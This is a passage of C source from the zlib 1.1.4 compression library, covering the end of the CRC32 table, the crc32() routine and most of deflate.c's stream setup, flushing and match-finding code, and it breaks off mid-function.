  0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
  0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
  0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
  0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
  0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
  0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
  0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
  0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
  0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
  0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
  0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
  0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
  0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
  0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
  0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
  0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
  0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
  0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
  0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
  0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
  0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
  0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
  0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
  0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
  0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
  0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
  0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
  0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
  0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
  0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
  0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
  0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
  0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
  0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
  0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
  0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
  0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
  0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
  0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
  0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
  0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
  0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
  0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
  0x2d02ef8dL
};
#endif

/* =========================================================================
 * This function can be used by asm versions of crc32()
 */
const uLongf * ZEXPORT get_crc_table()
{
#ifdef DYNAMIC_CRC_TABLE
  if (crc_table_empty) make_crc_table();
#endif
  return (const uLongf *)crc_table;
}

/* ========================================================================= */
#define DO1(buf) crc = crc_table[((int)crc ^ (*buf++)) & 0xff] ^ (crc >> 8);
#define DO2(buf)  DO1(buf); DO1(buf);
#define DO4(buf)  DO2(buf); DO2(buf);
#define DO8(buf)  DO4(buf); DO4(buf);

/* ========================================================================= */
uLong ZEXPORT crc32(crc, buf, len)
    uLong crc;
    const Bytef *buf;
    uInt len;
{
    if (buf == Z_NULL) return 0L;
#ifdef DYNAMIC_CRC_TABLE
    if (crc_table_empty)
      make_crc_table();
#endif
    crc = crc ^ 0xffffffffL;
    while (len >= 8)
    {
      DO8(buf);
      len -= 8;
    }
    if (len) do {
      DO1(buf);
    } while (--len);
    return crc ^ 0xffffffffL;
}
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/* deflate.c -- compress data using the deflation algorithm
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/*
 *  ALGORITHM
 *
 *      The "deflation" process depends on being able to identify portions
 *      of the input text which are identical to earlier input (within a
 *      sliding window trailing behind the input currently being processed).
 *
 *      The most straightforward technique turns out to be the fastest for
 *      most input files: try all possible matches and select the longest.
 *      The key feature of this algorithm is that insertions into the string
 *      dictionary are very simple and thus fast, and deletions are avoided
 *      completely. Insertions are performed at each input character, whereas
 *      string matches are performed only when the previous match ends. So it
 *      is preferable to spend more time in matches to allow very fast string
 *      insertions and avoid deletions. The matching algorithm for small
 *      strings is inspired from that of Rabin & Karp. A brute force approach
 *      is used to find longer strings when a small match has been found.
 *      A similar algorithm is used in comic (by Jan-Mark Wams) and freeze
 *      (by Leonid Broukhis).
 *         A previous version of this file used a more sophisticated algorithm
 *      (by Fiala and Greene) which is guaranteed to run in linear amortized
 *      time, but has a larger average cost, uses more memory and is patented.
 *      However the F&G algorithm may be faster for some highly redundant
 *      files if the parameter max_chain_length (described below) is too large.
 *
 *  ACKNOWLEDGEMENTS
 *
 *      The idea of lazy evaluation of matches is due to Jan-Mark Wams, and
 *      I found it in 'freeze' written by Leonid Broukhis.
 *      Thanks to many people for bug reports and testing.
 *
 *  REFERENCES
 *
 *      Deutsch, L.P.,"DEFLATE Compressed Data Format Specification".
 *      Available in ftp://ds.internic.net/rfc/rfc1951.txt
 *
 *      A description of the Rabin and Karp algorithm is given in the book
 *         "Algorithms" by R. Sedgewick, Addison-Wesley, p252.
 *
 *      Fiala,E.R., and Greene,D.H.
 *         Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595
 *
 */

/* @(#) $Id$ */

#include "deflate.h"

const char deflate_copyright[] =
   " deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly ";
/*
  If you use the zlib library in a product, an acknowledgment is welcome
  in the documentation of your product. If for some reason you cannot
  include such an acknowledgment, I would appreciate that you keep this
  copyright string in the executable of your product.
 */

/* ===========================================================================
 *  Function prototypes.
 */
typedef enum {
    need_more,      /* block not completed, need more input or more output */
    block_done,     /* block flush performed */
    finish_started, /* finish started, need only more output at next deflate */
    finish_done     /* finish done, accept no more input or output */
} block_state;

typedef block_state (*compress_func) OF((deflate_state *s, int flush));
/* Compression function. Returns the block state after the call. */

local void fill_window    OF((deflate_state *s));
local block_state deflate_stored OF((deflate_state *s, int flush));
local block_state deflate_fast   OF((deflate_state *s, int flush));
local block_state deflate_slow   OF((deflate_state *s, int flush));
local void lm_init        OF((deflate_state *s));
local void putShortMSB    OF((deflate_state *s, uInt b));
local void flush_pending  OF((z_streamp strm));
local int read_buf        OF((z_streamp strm, Bytef *buf, unsigned size));
#ifdef ASMV
      void match_init OF((void)); /* asm code initialization */
      uInt longest_match  OF((deflate_state *s, IPos cur_match));
#else
local uInt longest_match  OF((deflate_state *s, IPos cur_match));
#endif

#ifdef DEBUG
local  void check_match OF((deflate_state *s, IPos start, IPos match,
                            int length));
#endif

/* ===========================================================================
 * Local data
 */

#define NIL 0
/* Tail of hash chains */

#ifndef TOO_FAR
#  define TOO_FAR 4096
#endif
/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */

#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)
/* Minimum amount of lookahead, except at the end of the input file.
 * See deflate.c for comments about the MIN_MATCH+1.
 */

/* Values for max_lazy_match, good_match and max_chain_length, depending on
 * the desired pack level (0..9). The values given below have been tuned to
 * exclude worst case performance for pathological files. Better values may be
 * found for specific files.
 */
typedef struct config_s {
   ush good_length; /* reduce lazy search above this match length */
   ush max_lazy;    /* do not perform lazy search above this match length */
   ush nice_length; /* quit search above this match length */
   ush max_chain;
   compress_func func;
} config;

local const config configuration_table[10] = {
/*      good lazy nice chain */
/* 0 */ {0,    0,  0,    0, deflate_stored},  /* store only */
/* 1 */ {4,    4,  8,    4, deflate_fast}, /* maximum speed, no lazy matches */
/* 2 */ {4,    5, 16,    8, deflate_fast},
/* 3 */ {4,    6, 32,   32, deflate_fast},

/* 4 */ {4,    4, 16,   16, deflate_slow},  /* lazy matches */
/* 5 */ {8,   16, 32,   32, deflate_slow},
/* 6 */ {8,   16, 128, 128, deflate_slow},
/* 7 */ {8,   32, 128, 256, deflate_slow},
/* 8 */ {32, 128, 258, 1024, deflate_slow},
/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */

/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4
 * For deflate_fast() (levels <= 3) good is ignored and lazy has a different
 * meaning.
 */

#define EQUAL 0
/* result of memcmp for equal strings */

struct static_tree_desc_s {int dummy;}; /* for buggy compilers */

/* ===========================================================================
 * Update a hash value with the given input byte
 * IN  assertion: all calls to to UPDATE_HASH are made with consecutive
 *    input characters, so that a running hash key can be computed from the
 *    previous key instead of complete recalculation each time.
 */
#define UPDATE_HASH(s,h,c) (h = (((h)<<s->hash_shift) ^ (c)) & s->hash_mask)


/* ===========================================================================
 * Insert string str in the dictionary and set match_head to the previous head
 * of the hash chain (the most recent string with same hash key). Return
 * the previous length of the hash chain.
 * If this file is compiled with -DFASTEST, the compression level is forced
 * to 1, and no hash chains are maintained.
 * IN  assertion: all calls to to INSERT_STRING are made with consecutive
 *    input characters and the first MIN_MATCH bytes of str are valid
 *    (except for the last MIN_MATCH-1 bytes of the input file).
 */
#ifdef FASTEST
#define INSERT_STRING(s, str, match_head) \
   (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \
    match_head = s->head[s->ins_h], \
    s->head[s->ins_h] = (Pos)(str))
#else
#define INSERT_STRING(s, str, match_head) \
   (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \
    s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \
    s->head[s->ins_h] = (Pos)(str))
#endif

/* ===========================================================================
 * Initialize the hash table (avoiding 64K overflow for 16 bit systems).
 * prev[] will be initialized on the fly.
 */
#define CLEAR_HASH(s) \
    s->head[s->hash_size-1] = NIL; \
    zmemzero((Bytef *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head));

/* ========================================================================= */
int ZEXPORT deflateInit_(strm, level, version, stream_size)
    z_streamp strm;
    int level;
    const char *version;
    int stream_size;
{
    return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL,
			 Z_DEFAULT_STRATEGY, version, stream_size);
    /* To do: ignore strm->next_in if we use it as window */
}

/* ========================================================================= */
int ZEXPORT deflateInit2_(strm, level, method, windowBits, memLevel, strategy,
		  version, stream_size)
    z_streamp strm;
    int  level;
    int  method;
    int  windowBits;
    int  memLevel;
    int  strategy;
    const char *version;
    int stream_size;
{
    deflate_state *s;
    int noheader = 0;
    static const char* my_version = ZLIB_VERSION;

    ushf *overlay;
    /* We overlay pending_buf and d_buf+l_buf. This works since the average
     * output size for (length,distance) codes is <= 24 bits.
     */

    if (version == Z_NULL || version[0] != my_version[0] ||
        stream_size != sizeof(z_stream)) {
	return Z_VERSION_ERROR;
    }
    if (strm == Z_NULL) return Z_STREAM_ERROR;

    strm->msg = Z_NULL;
    if (strm->zalloc == Z_NULL) {
	strm->zalloc = zcalloc;
	strm->opaque = (voidpf)0;
    }
    if (strm->zfree == Z_NULL) strm->zfree = zcfree;

    if (level == Z_DEFAULT_COMPRESSION) level = 6;
#ifdef FASTEST
    level = 1;
#endif

    if (windowBits < 0) { /* undocumented feature: suppress zlib header */
        noheader = 1;
        windowBits = -windowBits;
    }
    if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED ||
        windowBits < 9 || windowBits > 15 || level < 0 || level > 9 ||
	strategy < 0 || strategy > Z_HUFFMAN_ONLY) {
        return Z_STREAM_ERROR;
    }
    s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state));
    if (s == Z_NULL) return Z_MEM_ERROR;
    strm->state = (struct internal_state FAR *)s;
    s->strm = strm;

    s->noheader = noheader;
    s->w_bits = windowBits;
    s->w_size = 1 << s->w_bits;
    s->w_mask = s->w_size - 1;

    s->hash_bits = memLevel + 7;
    s->hash_size = 1 << s->hash_bits;
    s->hash_mask = s->hash_size - 1;
    s->hash_shift =  ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH);

    s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte));
    s->prev   = (Posf *)  ZALLOC(strm, s->w_size, sizeof(Pos));
    s->head   = (Posf *)  ZALLOC(strm, s->hash_size, sizeof(Pos));

    s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */

    overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2);
    s->pending_buf = (uchf *) overlay;
    s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L);

    if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL ||
        s->pending_buf == Z_NULL) {
        strm->msg = (char*)ERR_MSG(Z_MEM_ERROR);
        deflateEnd (strm);
        return Z_MEM_ERROR;
    }
    s->d_buf = overlay + s->lit_bufsize/sizeof(ush);
    s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize;

    s->level = level;
    s->strategy = strategy;
    s->method = (Byte)method;

    return deflateReset(strm);
}

/* ========================================================================= */
int ZEXPORT deflateSetDictionary (strm, dictionary, dictLength)
    z_streamp strm;
    const Bytef *dictionary;
    uInt  dictLength;
{
    deflate_state *s;
    uInt length = dictLength;
    uInt n;
    IPos hash_head = 0;

    if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL ||
        strm->state->status != INIT_STATE) return Z_STREAM_ERROR;

    s = strm->state;
    strm->adler = adler32(strm->adler, dictionary, dictLength);

    if (length < MIN_MATCH) return Z_OK;
    if (length > MAX_DIST(s)) {
	length = MAX_DIST(s);
#ifndef USE_DICT_HEAD
	dictionary += dictLength - length; /* use the tail of the dictionary */
#endif
    }
    zmemcpy(s->window, dictionary, length);
    s->strstart = length;
    s->block_start = (long)length;

    /* Insert all strings in the hash table (except for the last two bytes).
     * s->lookahead stays null, so s->ins_h will be recomputed at the next
     * call of fill_window.
     */
    s->ins_h = s->window[0];
    UPDATE_HASH(s, s->ins_h, s->window[1]);
    for (n = 0; n <= length - MIN_MATCH; n++) {
	INSERT_STRING(s, n, hash_head);
    }
    if (hash_head) hash_head = 0;  /* to make compiler happy */
    return Z_OK;
}

/* ========================================================================= */
int ZEXPORT deflateReset (strm)
    z_streamp strm;
{
    deflate_state *s;
    
    if (strm == Z_NULL || strm->state == Z_NULL ||
        strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR;

    strm->total_in = strm->total_out = 0;
    strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */
    strm->data_type = Z_UNKNOWN;

    s = (deflate_state *)strm->state;
    s->pending = 0;
    s->pending_out = s->pending_buf;

    if (s->noheader < 0) {
        s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */
    }
    s->status = s->noheader ? BUSY_STATE : INIT_STATE;
    strm->adler = 1;
    s->last_flush = Z_NO_FLUSH;

    _tr_init(s);
    lm_init(s);

    return Z_OK;
}

/* ========================================================================= */
int ZEXPORT deflateParams(strm, level, strategy)
    z_streamp strm;
    int level;
    int strategy;
{
    deflate_state *s;
    compress_func func;
    int err = Z_OK;

    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;
    s = strm->state;

    if (level == Z_DEFAULT_COMPRESSION) {
	level = 6;
    }
    if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) {
	return Z_STREAM_ERROR;
    }
    func = configuration_table[s->level].func;

    if (func != configuration_table[level].func && strm->total_in != 0) {
	/* Flush the last buffer: */
	err = deflate(strm, Z_PARTIAL_FLUSH);
    }
    if (s->level != level) {
	s->level = level;
	s->max_lazy_match   = configuration_table[level].max_lazy;
	s->good_match       = configuration_table[level].good_length;
	s->nice_match       = configuration_table[level].nice_length;
	s->max_chain_length = configuration_table[level].max_chain;
    }
    s->strategy = strategy;
    return err;
}

/* =========================================================================
 * Put a short in the pending buffer. The 16-bit value is put in MSB order.
 * IN assertion: the stream state is correct and there is enough room in
 * pending_buf.
 */
local void putShortMSB (s, b)
    deflate_state *s;
    uInt b;
{
    put_byte(s, (Byte)(b >> 8));
    put_byte(s, (Byte)(b & 0xff));
}   

/* =========================================================================
 * Flush as much pending output as possible. All deflate() output goes
 * through this function so some applications may wish to modify it
 * to avoid allocating a large strm->next_out buffer and copying into it.
 * (See also read_buf()).
 */
local void flush_pending(strm)
    z_streamp strm;
{
    unsigned len = strm->state->pending;

    if (len > strm->avail_out) len = strm->avail_out;
    if (len == 0) return;

    zmemcpy(strm->next_out, strm->state->pending_out, len);
    strm->next_out  += len;
    strm->state->pending_out  += len;
    strm->total_out += len;
    strm->avail_out  -= len;
    strm->state->pending -= len;
    if (strm->state->pending == 0) {
        strm->state->pending_out = strm->state->pending_buf;
    }
}

/* ========================================================================= */
int ZEXPORT deflate (strm, flush)
    z_streamp strm;
    int flush;
{
    int old_flush; /* value of flush param for previous deflate call */
    deflate_state *s;

    if (strm == Z_NULL || strm->state == Z_NULL ||
	flush > Z_FINISH || flush < 0) {
        return Z_STREAM_ERROR;
    }
    s = strm->state;

    if (strm->next_out == Z_NULL ||
        (strm->next_in == Z_NULL && strm->avail_in != 0) ||
	(s->status == FINISH_STATE && flush != Z_FINISH)) {
        ERR_RETURN(strm, Z_STREAM_ERROR);
    }
    if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR);

    s->strm = strm; /* just in case */
    old_flush = s->last_flush;
    s->last_flush = flush;

    /* Write the zlib header */
    if (s->status == INIT_STATE) {

        uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8;
        uInt level_flags = (s->level-1) >> 1;

        if (level_flags > 3) level_flags = 3;
        header |= (level_flags << 6);
	if (s->strstart != 0) header |= PRESET_DICT;
        header += 31 - (header % 31);

        s->status = BUSY_STATE;
        putShortMSB(s, header);

	/* Save the adler32 of the preset dictionary: */
	if (s->strstart != 0) {
	    putShortMSB(s, (uInt)(strm->adler >> 16));
	    putShortMSB(s, (uInt)(strm->adler & 0xffff));
	}
	strm->adler = 1L;
    }

    /* Flush as much pending output as possible */
    if (s->pending != 0) {
        flush_pending(strm);
        if (strm->avail_out == 0) {
	    /* Since avail_out is 0, deflate will be called again with
	     * more output space, but possibly with both pending and
	     * avail_in equal to zero. There won't be anything to do,
	     * but this is not an error situation so make sure we
	     * return OK instead of BUF_ERROR at next call of deflate:
             */
	    s->last_flush = -1;
	    return Z_OK;
	}

    /* Make sure there is something to do and avoid duplicate consecutive
     * flushes. For repeated and useless calls with Z_FINISH, we keep
     * returning Z_STREAM_END instead of Z_BUFF_ERROR.
     */
    } else if (strm->avail_in == 0 && flush <= old_flush &&
	       flush != Z_FINISH) {
        ERR_RETURN(strm, Z_BUF_ERROR);
    }

    /* User must not provide more input after the first FINISH: */
    if (s->status == FINISH_STATE && strm->avail_in != 0) {
        ERR_RETURN(strm, Z_BUF_ERROR);
    }

    /* Start a new block or continue the current one.
     */
    if (strm->avail_in != 0 || s->lookahead != 0 ||
        (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) {
        block_state bstate;

	bstate = (*(configuration_table[s->level].func))(s, flush);

        if (bstate == finish_started || bstate == finish_done) {
            s->status = FINISH_STATE;
        }
        if (bstate == need_more || bstate == finish_started) {
	    if (strm->avail_out == 0) {
	        s->last_flush = -1; /* avoid BUF_ERROR next call, see above */
	    }
	    return Z_OK;
	    /* If flush != Z_NO_FLUSH && avail_out == 0, the next call
	     * of deflate should use the same flush parameter to make sure
	     * that the flush is complete. So we don't have to output an
	     * empty block here, this will be done at next call. This also
	     * ensures that for a very small output buffer, we emit at most
	     * one empty block.
	     */
	}
        if (bstate == block_done) {
            if (flush == Z_PARTIAL_FLUSH) {
                _tr_align(s);
            } else { /* FULL_FLUSH or SYNC_FLUSH */
                _tr_stored_block(s, (char*)0, 0L, 0);
                /* For a full flush, this empty block will be recognized
                 * as a special marker by inflate_sync().
                 */
                if (flush == Z_FULL_FLUSH) {
                    CLEAR_HASH(s);             /* forget history */
                }
            }
            flush_pending(strm);
	    if (strm->avail_out == 0) {
	      s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */
	      return Z_OK;
	    }
        }
    }
    Assert(strm->avail_out > 0, "bug2");

    if (flush != Z_FINISH) return Z_OK;
    if (s->noheader) return Z_STREAM_END;

    /* Write the zlib trailer (adler32) */
    putShortMSB(s, (uInt)(strm->adler >> 16));
    putShortMSB(s, (uInt)(strm->adler & 0xffff));
    flush_pending(strm);
    /* If avail_out is zero, the application will call deflate again
     * to flush the rest.
     */
    s->noheader = -1; /* write the trailer only once! */
    return s->pending != 0 ? Z_OK : Z_STREAM_END;
}

/* ========================================================================= */
int ZEXPORT deflateEnd (strm)
    z_streamp strm;
{
    int status;

    if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR;

    status = strm->state->status;
    if (status != INIT_STATE && status != BUSY_STATE &&
	status != FINISH_STATE) {
      return Z_STREAM_ERROR;
    }

    /* Deallocate in reverse order of allocations: */
    TRY_FREE(strm, strm->state->pending_buf);
    TRY_FREE(strm, strm->state->head);
    TRY_FREE(strm, strm->state->prev);
    TRY_FREE(strm, strm->state->window);

    ZFREE(strm, strm->state);
    strm->state = Z_NULL;

    return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK;
}

/* =========================================================================
 * Copy the source state to the destination state.
 * To simplify the source, this is not supported for 16-bit MSDOS (which
 * doesn't have enough memory anyway to duplicate compression states).
 */
int ZEXPORT deflateCopy (dest, source)
    z_streamp dest;
    z_streamp source;
{
#ifdef MAXSEG_64K
    return Z_STREAM_ERROR;
#else
    deflate_state *ds;
    deflate_state *ss;
    ushf *overlay;


    if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) {
        return Z_STREAM_ERROR;
    }

    ss = source->state;

    *dest = *source;

    ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state));
    if (ds == Z_NULL) return Z_MEM_ERROR;
    dest->state = (struct internal_state FAR *) ds;
    *ds = *ss;
    ds->strm = dest;

    ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte));
    ds->prev   = (Posf *)  ZALLOC(dest, ds->w_size, sizeof(Pos));
    ds->head   = (Posf *)  ZALLOC(dest, ds->hash_size, sizeof(Pos));
    overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2);
    ds->pending_buf = (uchf *) overlay;

    if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL ||
        ds->pending_buf == Z_NULL) {
        deflateEnd (dest);
        return Z_MEM_ERROR;
    }
    /* following zmemcpy do not work for 16-bit MSDOS */
    zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte));
    zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos));
    zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos));
    zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size);

    ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf);
    ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush);
    ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize;

    ds->l_desc.dyn_tree = ds->dyn_ltree;
    ds->d_desc.dyn_tree = ds->dyn_dtree;
    ds->bl_desc.dyn_tree = ds->bl_tree;

    return Z_OK;
#endif
}

/* ===========================================================================
 * Read a new buffer from the current input stream, update the adler32
 * and total number of bytes read.  All deflate() input goes through
 * this function so some applications may wish to modify it to avoid
 * allocating a large strm->next_in buffer and copying from it.
 * (See also flush_pending()).
 */
local int read_buf(strm, buf, size)
    z_streamp strm;
    Bytef *buf;
    unsigned size;
{
    unsigned len = strm->avail_in;

    if (len > size) len = size;
    if (len == 0) return 0;

    strm->avail_in  -= len;

    if (!strm->state->noheader) {
        strm->adler = adler32(strm->adler, strm->next_in, len);
    }
    zmemcpy(buf, strm->next_in, len);
    strm->next_in  += len;
    strm->total_in += len;

    return (int)len;
}

/* ===========================================================================
 * Initialize the "longest match" routines for a new zlib stream
 */
local void lm_init (s)
    deflate_state *s;
{
    s->window_size = (ulg)2L*s->w_size;

    CLEAR_HASH(s);

    /* Set the default configuration parameters:
     */
    s->max_lazy_match   = configuration_table[s->level].max_lazy;
    s->good_match       = configuration_table[s->level].good_length;
    s->nice_match       = configuration_table[s->level].nice_length;
    s->max_chain_length = configuration_table[s->level].max_chain;

    s->strstart = 0;
    s->block_start = 0L;
    s->lookahead = 0;
    s->match_length = s->prev_length = MIN_MATCH-1;
    s->match_available = 0;
    s->ins_h = 0;
#ifdef ASMV
    match_init(); /* initialize the asm code */
#endif
}

/* ===========================================================================
 * Set match_start to the longest match starting at the given string and
 * return its length. Matches shorter or equal to prev_length are discarded,
 * in which case the result is equal to prev_length and match_start is
 * garbage.
 * IN assertions: cur_match is the head of the hash chain for the current
 *   string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1
 * OUT assertion: the match length is not greater than s->lookahead.
 */
#ifndef ASMV
/* For 80x86 and 680x0, an optimized version will be provided in match.asm or
 * match.S. The code will be functionally equivalent.
 */
#ifndef FASTEST
local uInt longest_match(s, cur_match)
    deflate_state *s;
    IPos cur_match;                             /* current match */
{
    unsigned chain_length = s->max_chain_length;/* max hash chain length */
    register Bytef *scan = s->window + s->strstart; /* current string */
    register Bytef *match;                       /* matched string */
    register int len;                           /* length of current match */
    int best_len = s->prev_length;              /* best match length so far */
    int nice_match = s->nice_match;             /* stop if match long enough */
    IPos limit = s->strstart > (IPos)MAX_DIST(s) ?
        s->strstart - (IPos)MAX_DIST(s) : NIL;
    /* Stop when cur_match becomes <= limit. To simplify the code,
     * we prevent matches with the string of window index 0.
     */
    Posf *prev = s->prev;
    uInt wmask = s->w_mask;

#ifdef UNALIGNED_OK
    /* Compare two bytes at a time. Note: this is not always beneficial.
     * Try with and without -DUNALIGNED_OK to check.
     */
    register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1;
    register ush scan_start = *(ushf*)scan;
    register ush scan_end   = *(ushf*)(scan+best_len-1);
#else
    register Bytef *strend = s->window + s->strstart + MAX_MATCH;
    register Byte scan_end1  = scan[best_len-1];
    register Byte scan_end   = scan[best_len];
#endif

    /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.
     * It is easy to get rid of this optimization if necessary.
     */
    Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever");

    /* Do not waste too much time if we already have a good match: */
    if (s->prev_length >= s->good_match) {
        chain_length >>= 2;
    }
    /* Do not look for matches beyond the end of the input. This is necessary
     * to make deflate deterministic.
     */
    if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead;

    Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead");

    do {
        Assert(cur_match < s->strstart, "no future");
        match = s->window + cur_match;

        /* Skip to next match if the match length cannot increase
         * or if the match length is less than 2:
         */
#if (defined(UNALIGNED_OK) && MAX_MATCH == 258)
        /* This code assumes sizeof(unsigned short) == 2. Do not use
         * UNALIGNED_OK if your compiler uses a different size.
         */
        if (*(ushf*)(match+best_len-1) != scan_end ||
            *(ushf*)match != scan_start) continue;

        /* It is not necessary to compare scan[2] and match[2] since they are
         * always equal when the other bytes match, given that the hash keys
         * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at
         * strstart+3, +5, ... up to strstart+257. We check for insufficient
         * lookahead only every 4th comparison; the 128th check will be made
         * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is
         * necessary to put more guard bytes at the end of the window, or
         * to check more often for insufficient lookahead.
         */
        Assert(scan[2] == match[2], "scan[2]?");
        scan++, match++;
        do {
        } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) &&
                 *(ushf*)(scan+=2) == *(ushf*)(match+=2) &&
